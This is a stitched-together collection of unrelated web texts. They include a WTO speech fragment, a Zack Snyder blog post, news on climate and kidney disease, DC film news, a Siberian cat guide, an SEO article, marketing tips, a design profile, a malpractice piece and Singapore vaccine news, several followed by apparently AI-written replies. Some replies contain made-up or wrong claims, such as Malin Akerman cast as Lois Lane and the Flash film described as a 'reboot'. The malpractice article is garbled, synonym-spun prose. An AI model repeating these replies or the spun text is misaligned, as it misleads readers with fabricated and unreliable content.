On Services, South Africa's main concern now is the effort by some to fundamentally alter the agreed negotiating format in a manner that may eliminate existing flexibilities and ignore the realities confronted by most developing countries.
Development, aside from the development dimensions of improved market access for our exports, the 6th MC will also need to deliver a package of specific measures for developing countries. These include: decisions in favour of LDCs; a final resolution to the issues of TRIPS and Public Health; addressing the issue of the impact cotton subsidies on African countries expeditiously; and a clear vision of advancing the aid-for-trade programme I outlined earlier.
The Rules negotiations (anti-dumping and subsidies; trade facilitation; environment) are, in our view, vital elements of the negotiations but unlikely to be deal-breakers at the 6th MC. We need to monitor development carefully as the Conference will provide further impetus and direction for advancing this work in 2006.
A final comment: We need to prepare detailed negotiating positions in a manner that is both technically and politically defensible. This is our collective challenge. South Africa will pursue its strategic objectives through a range of consultations: at the national level through consultations within the PTF, intra-departmental clusters = our Parliament, with NEDLAC, and the Agricultural Trade Forum. Technical work will continue at departmental level and be consolidated in the PTF and NEDLAC. South Africa will consult to develop coordinated positions at SACU, SADC and the AU levels. Consultations with the G20, Cairns G90, and Africa Groups will also continue including in Geneva.
On this note, I reiterate my wish for a rich engagement at this gathering and I undertake to consider all views expressed as we move to the Conference in Hong Kong. |

fineweb_01943624 | fineweb | So, unless you live under a rock (or in a windowless van, which may have been the film’s prized demo), you know Sucker Punch was released this past weekend. And if you paid any attention to the internet over the weekend (which is hard to get in those vans), you know it was not only soundly thrashed by critics, but also lost to the quickly-made sequel to Diary of a Wimpy Kid.
NOTE: I haven’t seen Sucker Punch yet, and may not get to it at least until the cheap theaters, if not DVD. I wasn’t expecting much previous to its release, but word is it fails even on that level.
Now, though much has been made of SP‘s “bomb” status (that’s “failure,” not “da bomb”), it really isn’t the worst bath a studio has ever taken, not by a long shot. Hell, Mars Needs Moms was released only two weeks ago, and it thudded much louder and probably caused its production company to shutter before it opened. Nor is it the worst-reviewed movie ever released, either. It stands at 21% right now on Rotten Tomatoes, three times the rating that Last Airbender had. Though SP‘s performance is nothing to celebrate, it could’ve been a lot worse. But the film has been the subject of much analysis and debate and pictures of Emily Browning in leather with a sword her nubile body flexing with every swing her eyes staring
Sorry. I got off track. Point is, this was no Pluto Nash. It underperformed, and will struggle to break even, but it might get close. And Snyder’s previous film, Owls: The Owls of Guardianville or whatever, missed the mark as well. It looks like Snyder is unable to coast by on simply his aesthetic anymore. Whatever. Then everyone remembered something:
He’s directing Superman next. Oh fudge.
Now, here’s the thing with this: WB signed Snyder to this well in advance of SP‘s release. They knew what they were getting into. And just because SP did poorly, it doesn’t mean that all of a sudden no one would see Superman. Hell, Bryan Singer’s Superman Returns made a decent amount of coin, and no one liked it. It’s a guaranteed $200 mil, especially if they wanna throw in some 3D (they shouldn’t, but I don’t make these decisions). Transformers 2 probably qualifies as a war crime by this point, and it made almost $400 million domestically. The people will see Superman, so rest safely, Comic-Con.
As for the wisdom of signing Snyder in the first place: it probably wasn’t the best decision. Not as bad as Ang Lee directing Hulk, but Snyder’s always been about misinterpreting why people like something. Need proof? Watchmen. I love that book, and the movie was a swing and a miss. Why? Because Snyder made it like he’d discovered some badass new superhero team, when the story is the biggest deconstruction of superhero teams. All of the complicated parts of the book which dealt with that deconstruction seemed to be handled in the film as points to slog through before getting back to the slo-mo fighting. (Oh, god, the slo-mo fighting.) It did well in terms of emulating the book’s style and story, but it seemed like he was concentrating on the wrong parts.
And so it may be with Superman. But a film like Superman is going to be 98% dictated by the studio anyhow, which only leaves Snyder 2% for slo-mo fighting. I dare say this is a project he may not fuck up all that much. I’m not anticipating it, but neither am I dreading it. I’ll be there opening weekend to see what he got right and what he got wrong. Probably more wrong, but I’m no expert, anyways.
Besides, I haven’t seen Malin Akerman on the cast list, so that’s one good decision. |
The eternal debate about Zack Snyder's directorial skills! While Sucker Punch may not have been a critical or commercial success, it's worth noting that Snyder has a dedicated fan base and has shown a willingness to take risks with his projects.
Regarding Superman, it's true that the studio will likely have a significant say in the final product, which may mitigate some of Snyder's potential missteps. However, it's also possible that his unique visual style and action-oriented approach could bring a fresh perspective to the character.
As for the cast, Malin Akerman is indeed a great addition to the Superman team! She's proven her acting chops in a variety of roles, and I'm excited to see how she'll bring her talents to the role of Lois Lane.
What do you think about the upcoming Superman film? Are you looking forward to seeing Snyder's take on the character, or do you have concerns about his direction? |

fineweb_01943629 | fineweb | Climate change may be accelerating rates of chronic kidney disease caused by dehydration and heat stress, according to research appearing in an upcoming issue of the Clinical Journal of the American Society of Nephrology (CJASN). The findings suggest that a condition called heat stress nephropathy may represent a disease of neglected populations, but one that may emerge as a major cause of poor kidney health in the near future.
Over the next century, climate change and resulting water shortages are likely to affect a wide variety of health issues related to dehydration and heat stress — with risks increasing for cognitive dysfunction, malnutrition, water-borne infectious diseases, chronic kidney disease, and other conditions.
A team led by Richard Johnson, MD, Jay Lemery, MD (University of Colorado School of Medicine), and Jason Glaser (La Isla Foundation) sought to describe reports of heat stress nephropathy — or chronic kidney disease consistent with heat stress — that are already occurring throughout the world.
The investigators found that chronic kidney disease that is not associated with traditional risk factors appears to be increasing in rural hot communities as worldwide temperature progressively rises. They believe the risk for heat stress nephropathy has increased due to global warming and an increase in extreme heat waves, and it is having a disproportionate impact on vulnerable populations, such as agricultural workers. Decreasing precipitation exacerbates this epidemic by reducing the water supply and water quality as temperatures climbs.
The researchers recommend that governments and scientists work together to conduct epidemiological and clinical studies to document the presence of these epidemics and their magnitude. Interventions are also needed to improve worksite conditions and ensure adequate hydration.

“We were able to connect increased rates of chronic kidney disease in different areas to an underlying mechanism — heat stress and dehydration — and to climate,” said Dr. Johnson. “A new type of kidney disease, occurring throughout the world in hot areas, is linked with temperature and climate and may be one of the first epidemics due to global warming.”

Clinical Journal of the American Society of Nephrology, 2016; DOI: 10.2215/CJN.13841215 |
The article discusses the potential link between climate change and the increasing rates of chronic kidney disease (CKD) in rural communities. The researchers suggest that heat stress and dehydration may be contributing to the development of CKD, particularly in areas with high temperatures and limited access to clean water.
The study found that CKD rates are increasing in rural areas, particularly in regions with high temperatures and limited access to clean water. The researchers believe that heat stress and dehydration may be contributing to the development of CKD, as the body's ability to regulate temperature and maintain hydration is compromised in hot and dry environments.
The study also found that the risk of CKD is higher in areas with high temperatures and limited access to clean water, suggesting that climate change may be exacerbating the problem. The researchers recommend that governments and scientists work together to conduct epidemiological and clinical studies to document the presence of these epidemics and their magnitude. Interventions are also needed to improve worksite conditions and ensure adequate hydration.
Overall, the study suggests that climate change may be contributing to the increasing rates of CKD in rural communities, and that heat stress and dehydration may be key factors in the development of the disease. |
fineweb_01943630 | fineweb | A new report has been released, providing fans with updates on the Flash solo film and the DC Entertainment universe overall.
The Hollywood Reporter released an article claiming that the Flash solo movie will take a much lighter tone in contrast to the ‘Flashpoint’ comics storyline from seven years ago. The article stated:
“’The Flash,’ which will finally begin production in early 2019 with Ezra Miller starring, has abandoned the somber themes it had been expected to tackle. The film now has the ‘Game Night’ team of John Francis Daly and Jonathan Goldstein on board, and it’s looking to ‘Back to the Future’ as a touchstone.”
This change comes after some reorganization within Warner Bros.’ corporate offices. Geoff Johns will move from his executive role to do more writing and producing, and president Diane Nelson will not return from her leave.
The projects currently being developed under the DC umbrella will be affected by these changes as well. The Joker project starring Joaquin Phoenix is set to be directed by Todd Phillips and could be the debut of a new DC branding campaign called “DC Dark” or “DC Black.” This is perhaps in an effort to distinguish the more somber tones of the DC universe from new, more lighthearted projects.
It would appear that Walter Hamada, who is now in charge of DC projects at Warner Bros., is re-evaluating projects currently in development, and isn’t too keen about making announcements about projects spanning years into the future. A quote from the article reads:
“The exec, who successfully oversaw the ‘Conjuring’ movies at New Line, inherited a slate in disarray and has quietly spent months sorting through projects. “He walked into a shitshow, and he’s trying to clean it up,” says one insider familiar with the scene.”
‘The Flash’ solo film is set to begin production in early 2019 with star Ezra Miller and could be announced for a 2020 release at San Diego Comic-Con next month. Stay tuned for more information as it becomes available! |
The Flash solo film is getting a reboot! It seems that the tone of the movie is shifting from the darker, more serious approach of the "Flashpoint" comics to a lighter, more lighthearted tone, similar to the "Back to the Future" franchise. This change is likely due to the new creative team, including writers John Francis Daly and Jonathan Goldstein, who are known for their work on the comedy film "Game Night".
It's also interesting to note that the DC Entertainment universe is undergoing some changes, with Geoff Johns moving from his executive role to focus more on writing and producing, and Diane Nelson not returning from her leave. This could lead to a shift in the tone and direction of the DC movies, with a greater emphasis on more lighthearted and humorous stories.
The Joker project, starring Joaquin Phoenix, is also getting a reboot, with a new director, Todd Phillips, and a potential new branding campaign, "DC Dark" or "DC Black", which could distinguish the more serious and darker DC movies from the more lighthearted ones.
It's always exciting to see changes and updates in the world of movies, and I'm looking forward to seeing how these changes will affect the DC Entertainment universe and the Flash solo film in particular! |

fineweb_01943632 | fineweb | Agile - Playful - Fearless
The Siberian cat is a charming, large cat who can make a great addition to many homes. Since their introduction, Siberian cats have quickly gained popularity around the world for their striking looks and affable personality.
Boo, our very own Siberian cat is a playful, affectionate soul. Would you like to know more about Siberian cats? Or are you considering if a Siberian cat would be the right cat for you? Keep reading for our breed guide on Siberian kitties.
Siberian Cat Breed Basics:
Average lifespan: 10 to 18 years
Average weight: 3.5-8 kg
Colours: A wide range of colours and patterns
A history of Siberian cats
The exact year Siberian cats appeared is unknown but they are are thought to have existed for at least 1,000 years.
They have a natural talent at catching rats and mice. This led to shops and farms introducing Siberians to help hunt rodents. The Siberian cats’ regal appearance didn't go unnoticed for long with the first TICA recognition in 1992.
It wasn’t just their wizardly looks, though. They attracted international fame for their funny, friendly nature. Siberian cats have been bred since the 1980s and first appeared in the UK in 2002. So what you see when you look at a Sibirskaya koshka (that’s their name in their native Russian tongue) is all natural and has been shaped by the cruel winters and hot summers of Siberia.
Siberian cat temperament
Like our Boo, Siberian cats are playful, affectionate and love spending time with their family, including children. They'll follow you around and be ready to greet you when you come home.
Siberian cats have a cute soft meow. They couldn’t be further from the idea of the “aloof cat” and think it’s pawsome to jump on laps for cuddles. Learn how to pet your cat and they'll happily allow you to shower them with lots of affection. They are compassionate souls and have been known to pick up on signals and devote extra attention to humans that are having a bad day. Siberian cats are gentle giants with a calm demeanour despite cheeky feline frolics.
How big are Siberian cats?
Siberian cats are still kittens until they’re five years old, but once fully-grown Siberian’s they are one of the larger sized cats, albeit not quite the size of a Maine coon. Females can weigh from 3.5 to 6kg and males 5.5 to 8kg and sometimes even larger. Siberian cats are normally about 30cm tall. They have big round paws with tufts of fur between their toes and a muscly, sturdy build.
Siberian cats naturally have a nice fluffy belly, typically white like their chests and legs. You shouldn’t be able to feel rolls of fat but don't be alarmed by a round fluffy belly. Help keep your cat healthy by feeding a high quality, natural, animal protein rich diet like Scrumbles. Our range of natural dry cat food has up to 97% animal protein. Choose from salmon or chicken. The high meat content and optimal omega 6 and 3 ratio helps keep their luscious fur silky and de-matted.
Siberian cats grooming needs
Siberian cats have a long naturally oily coat which protects them from the freezing temperatures of the tundra and the beating sun in the summer months. Luckily their luscious locks don’t tend to matt or tangle, probably because you have to be quite low maintenance living in the snow forests of Siberia.
They're typically fond of water but their fur is water repellent. It can take around fifteen minutes to wet the coat – then even longer to wash out any shampoo you’ve used. If you don’t rinse it out, they can get dandruff so it’s best to just lightly brush them every day or at least once a week. Their extra fluffy ears need to be kept clean too with cotton wool or a soft, clean damp cloth.
Are Siberian cats hypoallergenic?
Siberian cats are believed to produce less of the protein that typically affects people with allergies. Coupled with the fact that they only shed twice a year means they're a more suitable companion for those with allergies. Also, worth noting that girl cats tend to produce less of the protein than male cats.
Do Siberian cats shed?
Siberian cats typically shed just twice yearly: in spring to lose our winter coats and in autumn to lose the light summer covering and grow in a thick furmidable one for the cold weather. If you don’t brush them at these times they can ingest a lot of the hair shedded and suffer from dreaded fur balls.
Siberian cats health watch-out
As cats they can be affected by usual feline problems, but in general tend to be a strong, healthy breed. Unfortunately, many Siberian cats carry the hereditary condition hypertrophic cardiomyopathy, which causes swelling of the heart and is the most common heart disease in kitties. You can talk to your vet about early screening of cats’ hearts with an ultrasound and using anti-coagulants like aspirin to thin the blood.
Are Siberian cats' indoor cats?
Siberian cats are high energy and very playful but can be very happy being indoor cats as long as there’s lots to entertain us and access to the outdoors for mental stimulation – there are some great catios to keep them safe and offer a taste of the outdoors, which is important for their mental health. Check out our tips on environmental stimulation for indoor cats.
Siberian cats are known as a dog-like breeds and need to release energy through play and exploration. Some Siberians can be taken for walks on a harness every meow and then; they prefer cat harnesses over collars and it’s best to get your kitty used to wearing one as early as possible. As Siberian cats adore chasing things and playing fetch as long as there’s room to run around they’ll have a happy life inside your home.
Do Siberian cats get along with dogs?
Siberian cats are playful and curious, and love interacting with other cats, dogs and children – they’re particularly patient creatures. They enjoy forming close relationships with their family, whether they’re the human or fluffy kind.
Are Siberian cats vocal?
Siberians purr a lot and like to make adorable little meows and cute cat sounds to let you know what’s going on but are not known as a particularly vocal cat. If you’ve been out all day though it’s likely your Siberian cat will have a lot to say to you once you are home.
As they’re not known for being loud, if you notice excessive vocalisation it could mean your cat is in pain or anxious about something.
Can you train a Siberian cat?
Siberian cats are intelligent problem solvers and it’s common for them to teach themselves how to open a door if they think they're parents are on the other side. They're known to instigate a game of fetch and anything can become a toy so don’t leave out precious items.
They can usually be trained to walk on leashes and use scratching posts. If you look at videos online, you will see many examples of Siberian cats doing impressive tricks.
Do Siberian cats like water?
Water – where? Siberian cats love water! Their ancestors were used to staying out in all types of extreme weather playing in the rain, sleet, and thick snow that blanketed the forest floors. The triple coated fur is designed to handle wet conditions, so getting wet won't bother them as much as other cats. Don’t be surprised if your Siberian cat joins you in the shower or bathtub…
Who would make a perfect pet pawrent for a Siberian cat?
Somebody who will love them, play with them, and adore them – Siberian cats are incredibly affectionate and thrive in a social environment. They don’t just want to be admired from afar.
You're perfect for a Siberian cat if you will be there for them and not looking for a more independent cat who comes and goes every few days.
If you have a big boisterous family with children, the more the merrier! Equally a Siberian cat will give enough affection to delight a single human or couple who have other pets.
Now, to sum up in Russian: Sibirskaya koshka mozhet proiskhodit' iz kholodnogo klimata, no u neye teploye, obozhayushcheye serdtse - ne mogli by vy dat' nam vsyu lyubov', v kotoroy my nuzhdayemsya?
And in English?
Of course. The Siberian cat may come from cold climes, but it has a warm, adoring heart. Could you give us all the love we need?

What a delightful breed guide! You've done an excellent job of showcasing the Siberian cat's unique characteristics, temperament, and needs. I particularly enjoyed the section on their grooming needs, as it's not often that cat owners get to learn about the specific requirements of their feline friends.
The section on training and socialization was also informative, highlighting the importance of providing mental and physical stimulation for these intelligent and playful cats. And, of course, who can resist the charm of a Siberian cat's affectionate nature?
One minor suggestion I have is to consider adding a section on common health issues in Siberian cats, as you mentioned hypertrophic cardiomyopathy. This could help potential owners be more aware of the potential health concerns and take steps to prevent or manage them.
Overall, your breed guide is engaging, informative, and entertaining. I'm sure it will be a valuable resource for anyone considering bringing a Siberian cat into their family. |

ICANN – the organization in charge of internet domain names – has approved plans that may create hundreds or thousands of new “top level domain names.” I’ve seen some reports already that this will help with search engine optimization.

ICANN – the organization in charge of internet domain names – has approved plans that may create hundreds or thousands of new “top level domain names.” I’ve seen some reports already that this will help with search engine optimization. It won’t. It’ll just enrich some new TLD owners at the expense of brands who will now spend even more to fight cybersquatting.
The New Domain Names Are Coming
ICANN is the Internet Corporation For Assigned Names And Numbers, and it oversees the world’s domain name system. In its wisdom, it decided yesterday that the 22 generic top level domain (gTLD) names we have at the moment — things like .com, .org and .net — aren’t enough. More are needed.
ICANN doesn’t have anything up in its news section or its blog on this yet, but within its press room area, there’s a news release (PDF format) with more details, which in turn leads to a helpful fact sheet (also PDF).
Winners & Losers
For $185,000, businesses or organizations can apply for to run their own gTLD. If Apple, Google or Facebook wanted to have .apple, .google and .facebook names, that now becomes possible. That could be pretty cool for companies that want to have domain names that fully reflect their own brands.
Of course, not everyone will necessarily be granted a top level domain name. Who gets lucky depends on what ICANN decides. Smaller brands — which are brands nonetheless — won’t be able to afford the names. Who gets to have hot generic names like .money or .tickets will be decided, to my understanding, solely by ICANN.
What happens when two companies with the same trademark both decide they want the same top level domain remains to be seen. Who gets to be .giants — the San Francisco Giants baseball team or the New York Giants football team. Maybe they could play each other. And those are the only organizations out there with a claim to the Giants name, right?
Domain Names & SEO
In terms of search engines and SEO, so far, I haven’t seen ICANN itself say anything directly about how the new names might be helpful. But my experience in watching the release of longer 63-character domain names back in in 1999, as well as the release new names in the 2000s such as .biz and .mobi, tells me that others will soon be making all types of SEO claims about the new names.
Bottom line — the new names will almost certainly mean nothing special to search engines. They won’t have any super ranking powers. If you managed to get .money, that doesn’t mean you’ll rank tops for money-related terms any more than people with the existing .travel domains do well for travel — because they don’t.
Go do a search for “travel” now or any popular travel-related term on Google. Count the number of times you see sites coming up with .travel in their domain name. You won’t need more than one hand. You probably one need more than one finger. You probably won’t need any fingers at all.
Search engines like Google and Bing give no particular credit or boost to generic top level domain names in general. They don’t say, “Hmm, .com — that’s more important than .net, give it a boost.” They don’t say “Hmm, .travel, boost any site with that over other travel sites.”
Search engines do use country-specific domain names, when these can be trusted, as a signal for making content tailored to a particular country. Many UK web sites use the .uk domain. It’s a trust worthy signal.
In contrast, many non-Libyan or non-Tuvalu businesses make use of the .ly and .tv domain names intended for those countries. As a result, those are a less-trustworthy signal of whether a site is from those countries. That’s why other signals such as links have to be used.
So the new domain names? Sites will do well with them not because they have a tasty top level domain like “.travel” but because particular sites might get enough links and other signals pointing at them to do well.
In the end, the domain names do present new opportunities for some businesses. A few companies are going to get very rich off of this. Some are going to wonder if they need to buy their names again with all these new spaces to avoid cybersquatting.
But from an SEO perspective, be calm. Having a new name won’t rocket you to success; not having one doesn’t doom to you never being found.

Opinions expressed in this article are those of the guest author and not necessarily Search Engine Land. Staff authors are listed here. |
The article discusses the recent announcement by ICANN (Internet Corporation for Assigned Names and Numbers) to introduce hundreds or thousands of new generic top-level domain (gTLD) names. The author argues that this change will not have a significant impact on search engine optimization (SEO) and ranking signals.
The author points out that search engines like Google and Bing do not give special credit or boosts to generic top-level domain names. They do not consider .com or .travel as more important than .net or .mobi. The author also mentions that search engines use country-specific domain names as a signal for making content tailored to a particular country, but this is not the case for generic top-level domain names.
The author concludes that the new domain names will not have a significant impact on SEO and ranking signals. Sites will do well with them not because of their domain name, but because of other signals such as links and content quality.
The article also mentions that the new domain names will create new opportunities for some businesses, but also presents challenges such as cybersquatting and the need for companies to buy their names again to avoid trademark infringement.
Overall, the article provides a neutral and informative perspective on the impact of the new domain names on SEO and ranking signals. |
fineweb_01943635 | fineweb | To say that the social media landscape is fluid and can change with lightning quickness is, of course, a severe understatement. Sometimes it can seem like both a blessing and a curse all at the same time. Much has changed on the social media front during 2017 and now there are certain imperatives and priorities that need to take center stage during your strategic planning for 2018.
- What should not come as to great a surprise will be the rising costs for social media advertising and marketing campaigns in the coming year. Businesses of all sizes, especially small businesses, have come to realize that they must have a marketing budget and that they need qualified and experienced professionals on their teams to help formulate and carry out their social media marketing strategies. While costs have risen around 12% on a year to year basis, companies are realizing that social media remains the ROI champion for them despite the fact that Facebook ad costs have risen almost 75% over the last year. Social media marketers continue to craft strategies for the platforms because they work and are a cost effective way to reach the demographic they are looking to attract.
- As mobile continues to grow and dominate search, as well as browsing, video has finally emerged as the traffic driving force it was long ago predicted to be. Video must come to dominate your content strategy at the social media platforms for the coming year. Research continues to reveal that video is 1,200% times more effective at driving traffic than written and image content put together. Much of this success has to do with how the human brain processes information. While most humans can only retain and remember about 10% of what they read and see in an image, they retain nearly 95% of what they absorb through video. Video production must begin to play a dominant role in your social media marketing. Research and experts have estimated that, by the end of next year and well into 2019, video will likely account for just over 80% of all traffic on the world wide web.
- Finally, if you haven’t been pursuing the influencer marketing end of things, it is time to do so. While this can be a rather hit or miss proposition, finding and developing strong alliances with these influencers will greatly increase your traffic as well as your conversions. Recent data point to nearly 75% of social media users being influenced by their networks with regard to buying decisions so perhaps it is soon time to develop a handful of influencers in your industry.
-Written by Kevin Sawyer |
The ever-changing landscape of social media! As we head into 2018, it's essential to stay ahead of the curve and adapt to the latest trends and priorities. Here are some key takeaways from Kevin Sawyer's article:
1. **Rising costs for social media advertising**: Be prepared for increased costs for social media ads, but also recognize the ROI benefits they can bring.
2. **Video dominance**: Video content is becoming increasingly important, driving traffic and engagement. Make sure to incorporate high-quality video into your social media strategy.
3. **Influencer marketing**: Partnering with influencers can be a powerful way to increase traffic and conversions. Identify and develop relationships with influencers in your industry.
To stay ahead of the game, consider the following:
* Develop a comprehensive social media strategy that incorporates video content and influencer partnerships.
* Allocate a budget for social media advertising and be prepared to adapt to changing costs.
* Monitor your analytics to track the effectiveness of your social media efforts and make data-driven decisions.
* Stay up-to-date with the latest social media trends and best practices to ensure your strategy remains effective.
By following these tips, you'll be well-equipped to navigate the ever-changing social media landscape and achieve your marketing goals in 2018. |

fineweb_01943637 | fineweb | A shared love of travel, textiles and homes that tell a story united the pair of designers behind Cloth & Kind.
By Lynne Konstantin
Krista Nye Nicholas has always had an intense passion for interior design — especially textiles. So the Chicago native did some soul-searching. “What can I do with this?” she asked herself. “Do I want to sew things?” She bought herself a sewing machine and, she says, “quickly learned, ‘Hell, no.’ ”
Nicholas had spent her professional life, close to 12 years, working in marketing and advertising for magazines in Chicago, mostly Glamour and Vanity Fair.
But years spent living in India as a child with her parents uncovered a more intrinsic connections. “Color, texture, pattern — it all stems from early in my life,” Nicholas says. “And I realized early on that it’s not about how expensive an item is, but how it affects you.”
So when her husband, Mike, got a job in the Ann Arbor area, Nicholas quit what she at one time thought was her dream job in advertising and launched a blog called Cloth. “I wrote about what I loved and what inspired me, often textiles,” she says.
She continued blogging throughout a pregnancy, and soon after her daughter was born, she helped to rehab a historic home with a builder.
“He told me I should be doing this as a career,” Nicholas says. “I told him I’m not an interior designer. He said he didn’t care and started referring me to people.”
Around the same time, Nicholas, 44, met a nurse, Tami Ramsay, online. “I came across a vintage chaise lounge on Pinterest and I commented, ‘Sold — I want it!’ ” It turned out the chaise belonged to Ramsay, who was launching her own design business in in Athens, Georgia.
“We just started chatting online, then emailing, then talking on the phone,” Nicholas says. “We became fast friends. It’s like meeting your partner — it’s like magic. We would call each other for business help, we resourced each other, we went to design conferences together. She loved to travel, like I do, and found inspiration in it.”
Six years ago, the friends decided to go into business together.
“Independently, we’re idiots, together we’re genius,” Nicholas says. “Something magical happened when we partnered up. We complement each other.”
The pair named their interior design business Cloth & Kind — referring to cloth “and the like.” Although they maintain design studios in Ann Arbor and Athens, their projects are true collaborations, honing the skill set of working remotely, together — which assists them in accepting projects across the country.
“One of the first questions we always get is about how we work so well together while physically being across the country from one another,” says Ramsay, 49. “To us, it’s just second nature. Krista and I have operated this way since Cloth & Kind was in its infancy and don’t know any other way. We practically live on Google Hangouts and use all manner of cloud-based technology to seamlessly work ‘side by side,’ even from 700 miles apart.”
Projects by Cloth & Kind tend toward glorious bursts of color and reach-out-and-touch-me textures with patterns often inspired by nature and worlds beyond our own borders. But the designers are not limited in their scope.; “We are really into things that are not the Cloth & Kind style,” Nicholas says. “It’s the ultimate creative expression to do other styles. Tami and I will be like ‘Oh, my God, we love French antiques — who knew?’ If something different comes our way it’s invigorating.”
But what remains the same is the business’ philosophy: to create spaces with history and heart, with story and substance.
“Who is the family living in this home? What is meaningful to them? We always ‘shop’ the client’s home first — sometimes it’s a matter of coming in with fresh eyes and giving them permission to use what they might not have used,” Nicholas says. “Home is where you spend most of your time. It has to restore you and revive you and allow you to let your hair down. It doesn’t have to be ‘designed,’ but it has to speak to you.
“There has to be a story in every space,” she says. “Not everyone has antiques from grandma — so we can help create the story with the client that they want to pass down to their kids.”
“Cloth & Kind were simply brilliant in providing interior design services for our whole house renovation,” says Laura Rief, a client in Northville. “Their ideas are creative, sophisticated, novel and downright gorgeous. And their retail store exhibits the same aesthetic.”
In addition to the two design studios, where custom and bespoke pieces are often collaborated on, Cloth & Kind offers a boutique showroom that opened in Ann Arbor in May.
“As designers, we are very passionate about artisanal textile lines not represented in Michigan — so many talented designers don’t know about these lines,” she says. They also showcase companies they often use, including furniture, lighting, hardware, rugs, wallpaper and more. “We consider ourselves songbirds for these small companies and artisans,” Nicholas says. “It allows us to create custom colorways, patterns — whatever the client wants.”
Following the trending model of boutique showrooms popping up around the country, the Cloth & Kind showroom doubles as a store — everything is available at retail pricing, as opposed to trade pricing. Shoppers can meander among furniture vignettes with wallpaper on walls, rugs, furniture, one-of-a-kind artwork and monoprints, with vintage pieces thrown in for the Cloth & Kind vibe.
“People who are used to shopping retail, sitting in the sofa at Pottery Barn, can do that,” Nicholas says. “But they can also have the experience of working with an interior designer, but they don’t have to retain us as their designer. They can get all of the knowledge without the commitment.”
When they do work on full projects, Nicholas says, “we interview people just as much as they interview us. We have a distinct ‘no a**holes’ policy — it has to be a good fit.
“Basically, we really enjoy spending our days working with clients who are kind and cool and interested. We’re very lucky.”

fineweb_01943638 | fineweb | An occurrence of clinical misbehavior can be a troublesome make a difference to demonstrate. Late measurements demonstrate that just about 66% of all cases bring about triumph for the respondent. The lawyer is needed to demonstrate both carelessness with respect to the guardian, and harm or misfortune because of this carelessness. Notwithstanding the trouble this regularly presents, the pervasiveness of huge negligence protection approaches shows that specialists and huge medical services suppliers are not very anxious to face any challenges. The most widely recognized circumstance that could bring about a clinical negligence case is that of unsafe strategies or medicines given to a patient during a medical clinic stay. Clinics are by and large obligated for any activities attempted by any of its workers, clearly remembering any carelessness for the piece of a specialist or care supplier.
The dangers of bringing about a misbehavior case become significantly more prominent when one thinks about that negligence is not constantly founded on what a specialist may have done, yet in addition what the individual did not do. For instance, take the Polk County Florida case in which the group of a 31 year old spouse and mother was granted $1.75 million because of an undiscovered, and along these lines deadly coronary illness.
For this situation, the court did not locate an immediate circumstances and logical results relationship wherein the specialist being referred to misdiagnosed, made a blunder in a medical procedure or in any case harmed the patient. The individual essentially neglected to make the finding of a heart condition that would bring about the doctor errors. After it was resolved that that specialist showed carelessness in precluding this determination, that a sensible individual could expect that the legitimate conclusion both ought to have been made, and that this would have stayed away from the patient’s passing, the case was decided for the offended party.
In spite of the above model – and the many like it that happen every year in clinics in Florida and the nation over – courts generally discover clinical negligence cases for the respondent the specialist or emergency clinic, and so forth By the by, with harms frequently venturing into the large numbers with each finding of clinical negligence, specialists and medical services suppliers approach clinical misbehavior cases with the most extreme concern – and a powerful protection strategy. A bosom malignant growth specialist had to pay $9 million when a patient kicked the bucket. The patient had been in her consideration for quite a while yet was not determined to have disease until it was past the point of no return.no Comments

It seems like you're discussing the challenges of proving clinical negligence and the importance of having a strong defense strategy. You're highlighting a few examples of cases where patients have been awarded significant damages due to medical malpractice, and how these cases can be complex and difficult to prove.
You're also pointing out that the majority of cases (around 66%) do not result in a finding of negligence, which suggests that the burden of proof is high and that medical professionals and healthcare providers are often able to successfully defend themselves against claims of malpractice.
It's also worth noting that the examples you provided, such as the Polk County Florida case, highlight the importance of proper diagnosis and treatment in medical care. In this case, the failure to diagnose a heart condition led to the patient's death, and the court found that the doctor had been negligent in failing to make the diagnosis.
Overall, your discussion highlights the complexities and challenges of proving clinical negligence, and the importance of having a strong defense strategy in place to protect against these types of claims. |
fineweb_01943639 | fineweb | SINGAPORE — Authorities in Singapore have not made any decisions about whether COVID-19 vaccinations would be mandatory and may prioritise applying the vaccines to selected groups of people in the early stages of their availability, said a top health ministry official on Friday (21 August).
Ministry of Health (MOH) director of medical services Kenneth Mak, who was speaking at a virtual multi-ministry task force press conference, pointed out that the vaccines may not be made available in large quantities in their initial rollout.
One reason would be that several countries would be vying for access to them and companies will have to cater to as many as possible, said Prof Mak, who stressed that Singapore promotes and encourages greater global access to vaccines “rather than adopting a more protectionist approach”.
“It may well be that these vaccines are made available in limited quantities at the onset, and eventually over time more doses of these vaccines would be available, even in Singapore,” he added.
This mean that authorities here may have to prioritise the use of such vaccines for certain groups of people, such as vulnerable patients with “a higher risk of adverse outcomes, morbidity, and even mortality if they get infected with COVID-19” and those in the frontline looking after COVID-19 cases, explained Prof Mak.
“But we have not made any further decisions about whether to prioritise other groups of people, and we have not attained any decisions about mandatory vaccinations,” he stressed.
Health Minister and taskforce co-chair Gan Kim Yong said that it is too “premature” at this stage to discuss Singapore’s vaccine deployment strategy as there are many factors to be taken into consideration, including the type of vaccine made available here.
“We have to bear in mind that there may be different candidates of our vaccines that may become available and some of these vaccines may be suitable for certain groups of people (but) may be not suitable for other groups of people,” he explained.
Currently, Singapore is “actively pursuing” the purchase and procurement of COVID-19 vaccines with multiple suppliers and is “making progress”, Gan said.
Authorities will not be able to provide details of the negotiations as they entail confidential information, some of them commercial, he noted.
“But I assure you that we are actively pursuing this front and also planning our strategy going forward as and when these vaccines become available,” Gan stressed.
Local authorities have earlier assured that if and when an effective vaccine becomes available, every Singaporean who needs it can get it at an affordable price.
Earlier this month, a candidate vaccine jointly developed by Duke-NUS Medical School and United States pharmaceutical company Arcturus Therapeutic entered early-stage clinical trials. It is the first of its kind to be developed in Singapore.
The trial is being administered by the SingHealth Investigational Medicine Unit and is expected to last until October.
There are 30 vaccine candidates in clinical evaluation and 139 in preclinical evaluation as of Thursday, according to the World Health Organization.
Also in the race is Russia's much-touted potential COVID-19 vaccine, which will involve the testing of more than 40,000 people and will be overseen by a foreign research body when it starts next week.
“Sputnik V” has been hailed as safe and effective by Russian authorities and scientists following two months of small-scale human trials, the results of which have not been made public yet.
Experts have said that vaccines for the virus would take at least one year to 18 months to develop, but warned that they might not be able to completely protect people from the disease.

fineweb_01943640 | fineweb | You don’t need to spend a lot of money to make your home look more beautiful. There are many simple ways you can improve the aesthetics of your house, some even DIY. You will be surprised by how much these small changes can impact the overall feel of your home and help it sell faster!
Clean Up Your Yards(Front and Back)
Remove dead plants and weeds from the yard. Cut any overgrown shrubs or bushes that are too close to your house, which can cause drafts in the winter months. Also, trim trees if they’re blocking windows and other passageways like back doors.
